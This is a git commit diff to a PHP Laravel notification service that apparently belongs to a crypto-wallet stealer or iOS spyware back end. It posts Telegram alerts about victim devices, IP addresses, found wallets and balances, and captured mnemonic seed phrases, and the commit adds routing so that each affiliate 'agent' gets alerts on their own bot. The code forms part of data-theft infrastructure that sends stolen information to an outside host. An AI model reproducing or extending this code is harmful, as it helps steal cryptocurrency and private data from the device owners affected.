feat: new chain
This commit is contained in:
@@ -2,24 +2,57 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use App\Models\Channel;
|
||||
use App\Models\Device;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
class TelegramNotifier
|
||||
{
|
||||
public function enabled(): bool
|
||||
public function systemEnabled(): bool
|
||||
{
|
||||
return (bool) (config('coruna.telegram.bot_token') && config('coruna.telegram.owner_chat_id'));
|
||||
return trim((string) config('coruna.telegram.bot_token', '')) !== ''
|
||||
&& trim((string) config('coruna.telegram.owner_chat_id', '')) !== '';
|
||||
}
|
||||
|
||||
public function send(string $text): bool
|
||||
/**
|
||||
* @return array{0: string, 1: string}|null [token, chatId]
|
||||
*/
|
||||
public function resolveDestination(?string $deviceKey = null): ?array
|
||||
{
|
||||
if (! $this->enabled()) {
|
||||
$agent = $this->resolveAgentForDeviceKey($deviceKey);
|
||||
if ($agent !== null && $agent->isEnabled() && $agent->hasTelegramBot()) {
|
||||
return [
|
||||
trim((string) $agent->bot_token),
|
||||
trim((string) $agent->chat_id),
|
||||
];
|
||||
}
|
||||
|
||||
if (! $this->systemEnabled()) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return [
|
||||
trim((string) config('coruna.telegram.bot_token')),
|
||||
trim((string) config('coruna.telegram.owner_chat_id')),
|
||||
];
|
||||
}
|
||||
|
||||
public function enabled(?string $deviceKey = null): bool
|
||||
{
|
||||
return $this->resolveDestination($deviceKey) !== null;
|
||||
}
|
||||
|
||||
public function send(string $text, ?string $deviceKey = null): bool
|
||||
{
|
||||
$dest = $this->resolveDestination($deviceKey);
|
||||
if ($dest === null) {
|
||||
return false;
|
||||
}
|
||||
$token = config('coruna.telegram.bot_token');
|
||||
$chatId = config('coruna.telegram.owner_chat_id');
|
||||
[$token, $chatId] = $dest;
|
||||
|
||||
try {
|
||||
$resp = Http::timeout(15)->asForm()->post(
|
||||
"https://api.telegram.org/bot{$token}/sendMessage",
|
||||
@@ -46,7 +79,7 @@ class TelegramNotifier
|
||||
'🔑 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🍎 <b>iOS</b>: '.$this->e($ios ?: '—'),
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($ip ?: '—').'</code>',
|
||||
]));
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void
|
||||
@@ -92,7 +125,7 @@ class TelegramNotifier
|
||||
$lines[] = '💵 <b>Balance</b>: '.$this->e($bal);
|
||||
}
|
||||
|
||||
$this->send(implode("\n", $lines));
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void
|
||||
@@ -102,15 +135,7 @@ class TelegramNotifier
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
'🏷 <b>Source</b>: '.$this->e($source ?: '—'),
|
||||
'📝 <b>Mnemonic</b>: <code>'.$this->e(WalletMnemonic::maskSecret($memoric)).'</code>',
|
||||
]));
|
||||
}
|
||||
|
||||
public function notifyNewPhotos(string $deviceId): void
|
||||
{
|
||||
$this->send(implode("\n", [
|
||||
'🖼 <b>New Photos</b> <i>(with sensitive hits)</i>',
|
||||
'📱 <b>Device</b>: <code>'.$this->e($deviceId).'</code>',
|
||||
]));
|
||||
]), $deviceId);
|
||||
}
|
||||
|
||||
public function notifyBalanceChange(
|
||||
@@ -131,7 +156,35 @@ class TelegramNotifier
|
||||
if ($balance !== null && trim($balance) !== '') {
|
||||
$lines[] = '💰 <b>Balance</b>: '.$this->e($balance);
|
||||
}
|
||||
$this->send(implode("\n", $lines));
|
||||
$this->send(implode("\n", $lines), $deviceId);
|
||||
}
|
||||
|
||||
private function resolveAgentForDeviceKey(?string $deviceKey): ?User
|
||||
{
|
||||
$deviceKey = trim((string) $deviceKey);
|
||||
if ($deviceKey === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
try {
|
||||
$channelId = Device::query()
|
||||
->where('device_id', $deviceKey)
|
||||
->value('channel_id');
|
||||
if (! is_string($channelId) || $channelId === '') {
|
||||
return null;
|
||||
}
|
||||
|
||||
$userId = Channel::query()
|
||||
->where('channel_id', $channelId)
|
||||
->value('user_id');
|
||||
if ($userId === null || (int) $userId <= 0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return User::query()->find((int) $userId);
|
||||
} catch (\Throwable) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
|
||||
Reference in New Issue
Block a user